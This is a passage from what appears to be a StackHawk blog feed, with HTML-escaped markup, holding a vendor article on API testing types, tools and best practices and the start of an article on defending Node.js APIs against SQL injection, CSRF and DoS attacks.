test might confirm that an API update that adds real-time order tracking doesn&amp;#39;t disrupt existing checkout or payment processing endpoints. Through regular and automated regression testing, you can maintain stability and prevent unexpected failures during development.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Performance Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Performance testing measures the API’s responsiveness, scalability, and stability under various workloads. It ensures the API performs efficiently during normal operations and under peak traffic conditions. For example, load testing evaluates how the API handles high traffic volumes, while stress testing pushes the API to its limits to identify potential bottlenecks. Performance testing helps you guarantee great user experiences, even during unexpected traffic spikes or heavy usage.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Compatibility Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Compatibility testing ensures the API works correctly across different environments, platforms, and configurations. It validates that the API functions consistently regardless of the client application, operating system, or browser. For example, testing an API on multiple versions of iOS and Android ensures mobile users experience consistent functionality. APIs that interact with diverse systems and user bases must perform thorough compatibility testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Validation Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Validation testing focuses on the overall correctness and completeness of the API. It combines functional, performance, and&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt; &lt;u&gt;security testing so the API&lt;/u&gt;&lt;/a&gt; meets design specifications and business requirements. For example, a validation test might verify that an API providing stock market data returns accurate, timely information within acceptable performance thresholds.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integration Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Integration testing assesses how well the API interacts with other components, services, or APIs. It verifies that data flows correctly between systems and that there is smooth communication across interconnected services. For example, testing an API’s ability to send data to a third-party payment gateway ensures that transactions are processed without errors. Integration testing minimizes risks associated with system dependencies and complex workflows.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Key Features of an API Testing Tool&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s discuss the essential features that we recommend you consider when deciding on one for yourself:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Ease of Use&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;An API testing tool must offer a user-friendly interface and simple workflows, paired with clear documentation, to facilitate simple API testing and enable teams to concentrate on quality rather than learning how to use the tool. Features like pre-set test templates and drag-and-drop functions can greatly simplify API testing.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integration with CI/CD Pipelines&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Effective API testing tools integrate seamlessly with CI/CD workflows to support continuous testing. With CI/CD integration in place, every code update triggers automated API tests, providing immediate feedback on changes. API test automation reduces manual effort and minimizes the risk of deploying faulty APIs. This way, as we discussed earlier, you catch and resolve bugs early rather than later, accelerating the development process while maintaining high quality.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scalability and Performance&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Modern APIs must handle diverse workloads, from low-traffic scenarios to sudden spikes. A robust API testing tool must support scalable testing across varying traffic levels. For example, tools that enable stress and load testing can simulate real-world usage to evaluate API performance under pressure. A scalable tool can adapt to growing API ecosystems without sacrificing accuracy or efficiency, especially for businesses managing large-scale applications.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Support for Multiple API Protocols&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;An ideal API testing tool should accommodate diverse messaging protocols—REST, GraphQL, SOAP, and others—enabling thorough testing across all API types. For instance, a tool adept at testing both RESTful services and GraphQL APIs demonstrates versatility for mixed protocol environments. Such multi-protocol support streamlines the testing workflow, eliminating the necessity for numerous tools and simplifying the overall process. Ensuring robust messaging protocol testing capabilities guarantees reliable API performance, irrespective of the underlying architecture.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Real-Time Reporting and Analytics&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To truly capitalize on API testing, it&amp;#39;s crucial to get immediate, meaningful feedback. Tools packed with powerful reporting and analytics features enable teams to quickly digest test outcomes, pinpoint problems, and observe patterns. Imagine getting real-time updates on test pass rates, response times, and errors - this kind of insight allows for swift action. Such detailed visibility into an API’s performance and health means issues can be addressed on the spot, significantly boosting API reliability. Real-time analytics streamline this process, making it simpler to maintain high-performing APIs.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Testing Features&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Security testing safeguards&lt;a href=&quot;https://www.stackhawk.com/blog/6-serious-api-security-vulnerabilities-and-how-to-fix-them/&quot;&gt; &lt;u&gt;APIs against vulnerabilities&lt;/u&gt;&lt;/a&gt; and threats. A robust testing tool should detect issues like SQL injection,&lt;a href=&quot;https://www.stackhawk.com/blog/net-broken-authentication-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;broken authentication&lt;/u&gt;&lt;/a&gt;, cross-domain misconfiguration, and other vulnerabilities while providing actionable feedback for remediation. It should also help maintain compliance with standards like&lt;a href=&quot;https://www.stackhawk.com/solutions/owasp-top-10/&quot;&gt; &lt;u&gt;OWASP Top 10&lt;/u&gt;&lt;/a&gt;. For example, validating an API’s token-based authentication ensures that only authorized users gain access. Furthermore, by integrating security testing steps into CI/CD pipelines, you can establish automated scans so teams can identify and address potential risks during development, reducing the likelihood of breaches.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Top API Testing Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Now that we&amp;#39;ve discussed the features of an ideal testing tool let&amp;#39;s discuss some of the best API testing tools currently available.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk is a developer-focused API security testing platform that helps teams secure their apps and APIs. You can run it locally and integrate it with CI/CD pipelines and your existing developer workflow tools like GitHub, AWS, Snyk, and Azure DevOps. Combining with StackHawk&amp;#39;s modern dynamic application DAST features, you can identify and resolve your app&amp;#39;s attack surface as early as possible in SDLC. StackHawk takes the point-of-view of an attacker and simulates attacks on a running version of your app. This way, it accurately captures all possible attack vectors for a production system.&lt;/p&gt;&lt;p&gt;StackHawk supports &lt;a href=&quot;https://www.stackhawk.com/blog/rest-api-security-best-practices/&quot;&gt;&lt;u&gt;REST&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://www.stackhawk.com/blog/graphql-security/&quot;&gt;&lt;u&gt;GraphQL&lt;/u&gt;&lt;/a&gt;, SOAP, and &lt;a href=&quot;https://www.stackhawk.com/blog/grpc-security-how-stackhawk-scans-grpc-services/&quot;&gt;&lt;u&gt;gRPC&lt;/u&gt;&lt;/a&gt; APIs to provide comprehensive test coverage across diverse architectures. Moreover, it embeds automated OWASP Top 10 vulnerability scanning directly into workflows. StackHawk further differentiates itself by delivering real-time, actionable feedback that developers can use to remediate vulnerabilities immediately. StackHawk designs security reports with practicality in mind, highlighting risk levels, affected endpoints, and remediation guidance.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Postman&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Postman is a versatile tool widely used for functional and exploratory API testing. Here are some of its key features:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;An intuitive interface that simplifies the API automation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Built-in tools for API monitoring, environment management, and team collaboration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Advanced scripting for dynamic test cases and automated workflows.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Extensive integrations with tools like Slack, GitHub, and Jenkins.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Postman offers excellent utility for teams focused on collaboration and API lifecycle management.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Katalon Studio&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Katalon Studio offers an all-in-one testing platform for APIs, web, and mobile apps. Its unique features include the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;No-code testing for non-technical or less technical users, alongside scripting options for advanced users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Built-in templates and plugins for quick test case creation and execution.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Comprehensive analytics dashboards for tracking test performance.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Support for hybrid testing, combining REST and SOAP APIs with web and mobile functionalities.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you need a versatile and user-friendly solution across multiple platforms, Katalon Studio can be an ideal choice.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;SoapUI&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;SoapUI, a headless functional testing tool, can create complex and data-driven test scenarios for API validation. Here are some of its core strengths:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Comprehensive support for SOAP APIs, with additional functionality for&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-rest-api-testing-tools-and-best-practices-for-success/#testing-api-call-sequences&quot;&gt; &lt;u&gt;REST API testing&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Advanced scripting to design highly customizable test cases.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A focus on load testing with the ability to simulate large-scale traffic scenarios.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Tools for security and compliance testing, particularly in legacy systems.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;JMeter&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;JMeter specializes in performance and load testing for APIs. Its standout features include the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The ability to simulate millions of users and evaluate API stability under extreme conditions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Extensive support for custom scripting for tailored performance testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A lightweight, open-source framework with high scalability.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Detailed performance metrics for assessing response times, throughput, and error rates.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Choosing the Right API Testing Framework&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Choosing the right framework begins with understanding your requirements. Identify whether you want to focus on functional, performance, or security testing—or a combination of these. For example, if security is at the top of your business&amp;#39;s mind, consider StackHawk, which integrates smoothly into your existing development workflows and automates vulnerability detection.&lt;/p&gt;&lt;p&gt;A testing framework must fit into your existing development and CI/CD workflows without breaking or disrupting anything. Look for tools that you can use to create automated API tests during builds and deployments. Support for platform integrations like Jenkins, GitHub Actions, or GitLab pipelines gives you strong automated testing workflows that run continuously without manual intervention on trigger events like code pushes. In this regard, StackHawk has been built for continuous integration and deployment workflows while supporting local development.&lt;/p&gt;&lt;p&gt;APIs may use protocols like REST, GraphQL, SOAP, or gRPC. The framework must support your architecture of choice. Tools with broad protocol compatibility provide flexibility for evolving systems. If you opt for a tool with comprehensive protocol support, you don&amp;#39;t have to worry about adopting multiple tools, simplifying workflows, and saving valuable resources. StackHawk supports all of the aforementioned protocols for secure testing across various API types.&lt;/p&gt;&lt;p&gt;For most businesses, making APIs secure against vulnerabilities across the entire attack surface is an absolute must. Therefore, security testing and the tool in question must naturally fit into DevOps so you can catch threats as early as possible. Having developer-friendly feedback in real-time directly within test workflows can greatly enhance how you address issues without slowing down delivery times. For example, a pre-deployment scan using StackHawk can flag insecure endpoints, like an API missing input sanitization, and suggest fixes immediately.&lt;/p&gt;&lt;p&gt;Testing frameworks must adapt to your organization’s needs and scale as your API ecosystem grows. Custom scripting allows teams to write tests tailored to unique requirements and business logic. With scalability, the framework handles increasing API traffic and complexity. By choosing a scalable framework, you future-proof your testing strategy and support long-term growth.&lt;/p&gt;&lt;p&gt;Lastly, evaluate the user-interface of the tool to reduce the learning curve for developers and QA teams. Look for tools with intuitive and user-friendly interfaces, clear documentation, and strong community support. These features help teams adopt the tool quickly and use it effectively. A framework that prioritizes developer experience is easier to adopt and has less time-to-value.&lt;/p&gt;&lt;p&gt;StackHawk directly integrates with existing development tools and provides actionable feedback reports at scale in real-time. This empowers developers to identify and fix threats and makes the process more accessible to them. Application security no longer remains something that gets delegated to a separate security team but to those building the product itself. This promotes a security-first mindset in developers and, therefore, results in more secure software components.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Building an API Testing Framework from Scratch&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Building an in-house API testing framework might become necessary to suit specialized requirements and setups. Let&amp;#39;s discuss the general steps and guidelines to follow while implementing such a framework from scratch.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Define objectives and scope&lt;/b&gt;: Before building an API testing framework, clearly define your goals and scope. Identify the types of APIs you need to test, such as REST, GraphQL, or SOAP, and the key testing areas like functionality, performance, and security. Determine whether the framework will focus on automated regression tests, load testing, or security scans. Consider your team’s technical expertise and the resources available for development and maintenance. These factors guide the design and ensure the framework aligns with your organization’s needs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Choose programming language and framework structure&lt;/b&gt;: Select a programming language that fits your team’s skill set and integrates well with your tech stack. For example, Python works well for its simplicity and support for libraries like `requests` for API interactions and `pytest` for testing. Define a modular structure for your framework to separate concerns like test data, test cases, and configuration files. Modularity makes the framework easier to maintain and extend. A well-suited language and structure gives you scalability and long-term usability.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Implement automated test suites&lt;/b&gt;: Automation must be one of the top priorities for reducing manual effort and maintaining consistent test execution across development cycles. Create test suites for functional, performance, and security testing. Include automation for regression tests to make sure changes don’t break existing functionality. Use tools or libraries like `pytest`, JUnit, or Selenium (if you have UI components) to streamline test execution and reporting.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integrate with CI/CD pipelines&lt;/b&gt;: Integrating the framework into your CI/CD pipeline enables continuous testing at scale. Set up triggers to execute tests automatically whenever code changes or builds occur. Use platforms like Jenkins, GitHub Actions, or GitLab CI/CD. Include pre-deployment tests that verify API performance and security before releasing to production. Continuous testing helps detect and resolve issues early and delivers quality software to end users that perform as expected.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Prioritize security testing&lt;/b&gt;: Embed security testing into your framework to address vulnerabilities and security weak points that malicious parties can exploit. Use security-focused tools like StackHawk and integrate them into your development workflows to make security a part of your development cycles. Automate common security tests, for example, validating authentication mechanisms and simulating attack scenarios. Make sure reports provide actionable information that developers can use to fix issues without slowing down the development cycle.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Support data-driven testing&lt;/b&gt;: Incorporate data-driven testing to validate API behavior across multiple input sets. Use reliable and external sources to provide dynamic inputs for test cases. For example, you can test a user authentication API with various combinations of valid and invalid credentials. It achieves comprehensive coverage and identifies edge cases that may not surface in static tests. Data-driven testing makes the framework flexible and thorough.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provide Detailed Reporting and Analytics: &lt;/b&gt;The framework should generate clear, actionable reports after every test run. Include metrics like test success rates, response times, and error rates. Use reporting libraries or integrate third-party tools to visualize data and trends. You must have a clear idea of how to prioritize critical vulnerabilities and properly triage to maximize post-test issue resolution. For example, a report highlighting slow API endpoints helps you prioritize and strategize performance optimizations.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Design for scalability and flexibility&lt;/b&gt;: Make sure your framework can scale with growing testing needs and adapt to new requirements. Use modular components, such as plugins or libraries, to extend functionality as you need. For example, adding GraphQL support to an existing REST-focused framework should require minimal changes. Avoid hardcoding configurations or test data to maintain flexibility. A scalable design future-proofs the framework so it remains effective over time.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;&lt;b&gt;API Testing Best Practices in a DevOps Environment&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing is integral to DevOps, ensuring APIs behave as expected throughout development and in high-scale production. Automated API tests woven into CI/CD pipelines catch issues instantly, allowing for bug-free production pushes and swifter, more dependable rollouts. This practice cements DevOps&amp;#39;s commitment to rapid delivery without sacrificing quality.&lt;/p&gt;&lt;p&gt;Embracing the &lt;a href=&quot;https://www.stackhawk.com/blog/the-appsec-guide-to-shift-left-security-how-to-integrate-security-earlier-in-the-sdlc/&quot;&gt;&lt;u&gt;shift-left&lt;/u&gt;&lt;/a&gt; principle, DevOps prioritizes early problem detection. API testing reinforces this by integrating tests upfront, such as handling edge cases like expired tokens for solid security out of the gate. Early detection curbs bug proliferation, conserving time and resources. This method aligns with agile and DevOps, fostering quick feedback loops and accelerated iteration. Follow these best practices to optimize your API testing process and maximize its benefits for high-quality applications:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Automate repetitive tasks like regression and functional tests to save time and reduce human error. Integrate automated tests into CI/CD pipelines to ensure continuous validation with every code change.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Test your API&amp;#39;s functionality, including the edge cases, under diverse conditions. Include security and performance tests to make sure APIs stay secure, robust, and reliable.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Incorporate security validation during the earliest development stages.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Evaluate API performance under varying conditions to ensure scalability and stability. Use metrics like response times and error rates to identify areas for improvement.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Run tests in environments that mirror production settings as closely as possible.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Review and update tests as APIs evolve. Add new scenarios so that coverage remains relevant to the current state of your product.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;&lt;b&gt;Common Challenges in API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To successfully implement API testing, it&amp;#39;s important to be aware of the common challenges and pitfalls. Let&amp;#39;s look at some of these challenges and try to understand how to address them.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive coverage: &lt;/b&gt;Ensure your API testing includes every aspect and potential error scenario. Overlooking edge cases (e.g., unexpected input formats or uncommon data combinations) could cause undetected issues, leading to production disruptions. For instance, if your API processes dates, validating against incorrect formats is crucial. Inadequate test coverage exposes APIs to production failures and security vulnerabilities. Implement exhaustive test plans and embrace automation for varied input handling.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test data management: &lt;/b&gt;Handling test data, particularly with APIs that process dynamic or sensitive data, presents challenges. Simulating realistic scenarios without exposing real user data requires careful planning. Achieving clean, consistent, and reusable test data across testing stages demands sophisticated strategies. Adopt data-driven testing, using external sources for input sets in formats like JSON or CSV, and anonymize sensitive data to ensure privacy compliance while preserving test accuracy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Handling dependencies: &lt;/b&gt;API dependencies on external services can introduce complications. An unavailable third-party service, like a payment gateway, can hinder testing efforts. To mitigate these challenges, employ mocking to simulate dependencies, enabling isolated API testing. Tools such as Postman or WireMock facilitate testing by generating mock responses, streamlining the testing process despite external dependencies.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security testing integration:&lt;/b&gt; Given the vulnerability of APIs to various attacks, incorporating security testing is non-negotiable. Insecure endpoints can lead to serious breaches. Continuously update your security testing practices and tools, like StackHawk, to proactively identify and fix vulnerabilities. Integrating security testing within your CI/CD pipelines ensures consistent, thorough validation, keeping pace with evolving security threats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Load Testing for Performance Validation:&lt;/b&gt; To maintain performance regardless of traffic spikes, utilize load testing tools (e.g., JMeter) to simulate varying loads. Evaluating performance through metrics such as response times and error rates is critical for identifying optimization opportunities. Performance testing guarantees API stability across real-world usage scenarios.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Environment-specific testing:&lt;/b&gt; APIs can exhibit different behaviors across development, staging, and production due to configuration variances. Discrepancies between environments, like database performance differences, highlight the need for comprehensive environment testing. Ensure your testing regimen accounts for these differences to spot potential issues before production deployment.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;&lt;b&gt;Future Directions for API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To address the growing complexity of our digital infrastructure, the modern challenges and demand, it&amp;#39;s important to evaluate how the future of API testing is shaping up. APIs drive growth, and by evaluating the future trajectory and emerging trends, we can find new business opportunities and growth potential.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;AI-Driven testing:&lt;/b&gt; AI is set to streamline API testing by using historical data to predict failures and optimize test cases. Expect AI to enhance risk assessment and craft test scenarios for edge cases.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Real-time monitoring:&lt;/b&gt; The importance of real-time monitoring will grow, with predictive analytics anticipating performance issues. This will establish feedback loops for adaptive APIs in production environments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Microservices compatibility: &lt;/b&gt;Testing must evolve to handle the complexity of microservices architectures, focusing on dynamic contract validation and overall system behavior to ensure seamless integration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cross-cloud validation:&lt;/b&gt; As APIs are deployed across various cloud environments, testing tools will need to assure consistent performance amidst diverse network conditions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security testing advancements:&lt;/b&gt; With rising security threats, testing will incorporate AI for threat modeling and automated penetration testing, especially against protocols like GraphQL and WebSocket, to maintain robust defense mechanisms.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A solid API testing framework ensures your APIs are dependable, secure, and high-performing, contributing to a seamless user experience and growth.&lt;/p&gt;&lt;p&gt;The future of API testing hinges on smarter, adaptable, and integrated solutions. Teams that leverage new testing technologies can create superior APIs and outpace competitors, with security being a fundamental component.&lt;/p&gt;&lt;p&gt;StackHawk provides developer-centric security testing designed for today&amp;#39;s application needs, with automation at its core.&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up for a free trial&lt;/u&gt;&lt;/a&gt; to see how it can enhance your API testing strategy.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Top Strategies for Node.js API Security: Best Practices to Implement]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-api-security-best-practices</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;If you&amp;#39;re creating applications in Node, chances are that you&amp;#39;ve got some APIs that are floating around. Node.js APIs are commonly used to exchange sensitive data and provide access to critical application functionality. This makes securing them essential to prevent data breaches and keep your system working as intended. Failing to implement proper security measures can leave your application vulnerable to attacks, compromising user data and potentially damaging your reputation in terms of security.&lt;/p&gt;&lt;p&gt;This article outlines key strategies to secure your Node.js APIs, covering topics like input validation, authentication, authorization, and protection against common threats. Implementing these practices can significantly reduce your application&amp;#39;s attack surface and ensure your data remains protected. Let&amp;#39;s get started by understanding a bit more about security regarding Node.js APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding Node.js API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Securing your Node.js API involves understanding potential vulnerabilities and implementing measures to mitigate them. Common threats that these types of APIs generally come across include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;b&gt;&lt;u&gt;SQL Injection&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Manipulating user input to execute malicious SQL code against your database.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;b&gt;&lt;u&gt;Cross-Site Scripting&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; (XSS):&lt;/b&gt; Injecting malicious scripts into web pages viewed by other users.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;b&gt;&lt;u&gt;Cross-Site Request Forgery&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; (CSRF):&lt;/b&gt; Tricking a user&amp;#39;s browser into performing unwanted actions on your application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Denial-of-Service (DoS):&lt;/b&gt; Flooding your API with requests to make it unavailable to legitimate users.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The actual mechanisms to exploit any of these vulnerabilities tend to range pretty widely. Prevention comes in many different forms, spanning from how you write your code to how you deploy and monitor it. To address these and other vulnerabilities, you need to implement a multi-layered security approach for REST API security that includes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Input Validation:&lt;/b&gt; Strictly validating all user input to ensure it conforms to expected data types, formats, and ranges.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Authentication and Authorization:&lt;/b&gt; Verifying user identities and controlling access to resources based on their roles and permissions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Secure Data Storage and Transmission:&lt;/b&gt; Protecting data at rest and in transit using encryption and secure storage practices.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Error Handling and Logging:&lt;/b&gt; Implementing error handling best practices to prevent information leakage and logging security events for analysis and incident response.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Understanding what vulnerabilities could be exploited and actively seeking to prevent and monitor them forms the basis of your defenses. Of course, understanding what attacks could occur and actually preventing them are completely different sides of the coin. So, what does it take to prevent these attacks? Let&amp;#39;s take a look at some of the most common types of attacks and potential ways to mitigate them.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Protecting Against Common Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Common attacks are exactly that: those vulnerabilities that are most often exploited. These are the most often exploited because they tend to be the most prevalent gaps within&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt; &lt;u&gt;application security&lt;/u&gt;&lt;/a&gt;. This means that protecting your Node.js API from common attacks is vital for maintaining its integrity and availability. Here is a high-level view of some key strategies to implement to combat against them:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cross-Site Request Forgery (CSRF) Protection&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use Anti-Forgery Tokens:&lt;/b&gt; Generate unique tokens for each user session and include them in forms and requests. This prevents attackers from submitting unauthorized requests on behalf of a user. Libraries like csurf can help implement this in your Node.js application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enable HTTP Strict Transport Security (HSTS):&lt;/b&gt; Force browsers to communicate only with your API over HTTPS, preventing attackers from intercepting requests and responses.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/node-js-csrf-protection-guide-examples-and-how-to-enable-it/&quot;&gt;&lt;u&gt;Learn more about CSRF attacks in Node.js and how to prevent them.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;SQL Injection Prevention&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use Parameterized Queries:&lt;/b&gt; Never directly concatenate user input into SQL queries. Use parameterized queries or prepared statements to prevent attackers from manipulating your queries.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Employ an ORM (Object-Relational Mapper):&lt;/b&gt; ORMs like Sequelize and TypeORM can help prevent SQL injection by abstracting database interactions and automatically escaping user input.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;Learn more about what Node.js SQL Injection attacks look like and how to prevent them.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Denial-of-Service (DoS) Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rate Limiting:&lt;/b&gt; Limit the number of requests a user or IP address can make within a specific timeframe. This helps prevent attackers from overwhelming your API with traffic.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;IP Blocking:&lt;/b&gt; Block requests from known malicious IP addresses or ranges.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Use a Web Application Firewall (WAF):&lt;/b&gt; A WAF can help detect and block malicious traffic before it reaches your API. Consider cloud-based WAF solutions like AWS WAF, Cloudflare, or Imperva.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Regular Security Audits and Penetration 